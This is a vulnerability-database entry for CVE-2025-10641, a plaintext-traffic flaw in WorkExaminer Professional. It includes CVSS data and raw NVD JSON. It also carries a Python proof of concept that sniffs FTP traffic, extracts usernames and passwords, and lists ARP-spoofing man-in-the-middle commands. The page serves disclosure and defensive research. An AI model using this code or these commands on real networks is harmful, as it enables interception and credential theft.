Security Vulnerability Report
中文
CVE-2025-10641 CVSS 7.1 HIGH

CVE-2025-10641

Published: 2025-10-21 12:15:36
Last Modified: 2026-04-15 00:35:42
Source: 551230f0-3615-47bd-b7cc-93e92e730bbf

Description

All WorkExaminer Professional traffic between monitoring client, console and server is transmitted as plain text. This allows an attacker with access to the network to read the transmitted sensitive data. An attacker can also freely modify the data on the wire. The monitoring clients transmit their data to the server using the unencrypted FTP. Clients connect to the FTP server on port 12304 and transmit the data unencrypted. In addition, all traffic between the console client and the server at port 12306 is unencrypted.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WorkExaminer Professional(所有未启用加密的版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-10641 - WorkExaminer Professional Plaintext Traffic Interception PoC # This PoC demonstrates how to capture and read plaintext FTP traffic # from WorkExaminer Professional monitoring clients on port 12304 import socket import struct import sys from datetime import datetime def capture_ftp_traffic(target_ip, port=12304, timeout=60): """ Capture plaintext FTP traffic from WorkExaminer Professional monitoring clients transmitting data to the server. """ print(f"[*] Starting plaintext traffic capture on {target_ip}:{port}") print(f"[*] Timestamp: {datetime.now()}") try: # Create raw socket to capture network traffic raw_socket = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP) raw_socket.settimeout(timeout) captured_data = [] while True: try: packet, addr = raw_socket.recvfrom(65535) # Parse IP header to get protocol and addresses ip_header = packet[0:20] iph = struct.unpack('!BBHHHBBH4s4s', ip_header) protocol = iph[6] s_addr = socket.inet_ntoa(iph[8]) d_addr = socket.inet_ntoa(iph[9]) # Only process TCP packets if protocol == 6: # Parse TCP header tcp_header = packet[20:40] tcph = struct.unpack('!HHLLBBHHH', tcp_header) src_port = tcph[0] dst_port = tcph[1] # Filter for WorkExaminer FTP port (12304) if src_port == port or dst_port == port: # Extract payload (TCP header is typically 20 bytes) header_length = (tcph[4] >> 4) * 4 payload_offset = 20 + header_length payload = packet[payload_offset:] if len(payload) > 0: print(f"[+] Captured packet: {s_addr}:{src_port} -> {d_addr}:{dst_port}") print(f"[+] Payload length: {len(payload)} bytes") # Attempt to decode as ASCII (FTP commands are ASCII) try: decoded = payload.decode('ascii', errors='replace') print(f"[+] Decoded content: {decoded[:500]}") captured_data.append({ 'src': f"{s_addr}:{src_port}", 'dst': f"{d_addr}:{dst_port}", 'data': decoded, 'timestamp': str(datetime.now()) }) except Exception as e: print(f"[-] Decode error: {e}") except socket.timeout: print("[*] Capture timeout reached") break except PermissionError: print("[!] Error: Need root/admin privileges for raw socket access") print("[*] Alternative: Use tcpdump or Wireshark to capture traffic") print(" tcpdump -i any -A 'port 12304' -w workexaminer_capture.pcap") return None except Exception as e: print(f"[!] Error: {e}") return None return captured_data def extract_credentials(packets): """ Extract FTP credentials from captured plaintext traffic. """ if not packets: return print("\n[*] Extracting credentials from captured traffic...") credentials = [] for pkt in packets: data = pkt['data'] # FTP USER command contains username if 'USER ' in data: username = data.split('USER ')[1].split('\r\n')[0] print(f"[+] Found username: {username}") credentials.append({'type': 'username', 'value': username}) # FTP PASS command contains password if 'PASS ' in data: password = data.split('PASS ')[1].split('\r\n')[0] print(f"[+] Found password: {password}") credentials.append({'type': 'password', 'value': password}) return credentials def mitm_attack_demo(client_ip, server_ip): """ Demonstrate MITM attack feasibility on WorkExaminer traffic. Note: Actual MITM requires ARP spoofing or similar techniques. """ print("\n[*] MITM Attack Demonstration") print(f"[*] Target client: {client_ip}") print(f"[*] Target server: {server_ip}") print("[*] Steps to perform MITM:") print(" 1. Enable IP forwarding: echo 1 > /proc/sys/net/ipv4/ip_forward") print(f" 2. ARP spoof: arpspoof -i eth0 -t {client_ip} {server_ip}") print(f" 3. ARP spoof: arpspoof -i eth0 -t {server_ip} {client_ip}") print(" 4. Sniff traffic: tcpdump -i eth0 -A 'port 12304 or port 12306'") print(" 5. Modify data using ettercap or mitmproxy") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python3 poc.py <target_server_ip> [port]") print("Example: python3 poc.py 192.168.1.100 12304") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 12304 # Step 1: Capture traffic packets = capture_ftp_traffic(target, port) # Step 2: Extract credentials if packets: creds = extract_credentials(packets) # Step 3: Demonstrate MITM possibility if len(sys.argv) > 3: mitm_attack_demo(sys.argv[3], target) print("\n[*] PoC completed. WorkExaminer transmits all data in plaintext.") print("[*] Recommendation: Contact vendor to enable encrypted communication.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-10641", "sourceIdentifier": "551230f0-3615-47bd-b7cc-93e92e730bbf", "published": "2025-10-21T12:15:35.543", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "All WorkExaminer Professional traffic between monitoring client, console and server is transmitted as plain text. This allows an attacker with access to the network to read the transmitted sensitive data. An attacker can also freely modify the data on the wire. The monitoring clients transmit their data to the server using the unencrypted FTP. Clients connect to the FTP server on port 12304 and transmit the data unencrypted. In addition, all traffic between the console client and the server at port 12306 is unencrypted."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 4.2}]}, "weaknesses": [{"source": "551230f0-3615-47bd-b7cc-93e92e730bbf", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-319"}]}], "references": [{"url": "https://r.sec-consult.com/workexaminer", "source": "551230f0-3615-47bd-b7cc-93e92e730bbf"}, {"url": "http://seclists.org/fulldisclosure/2025/Oct/19", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}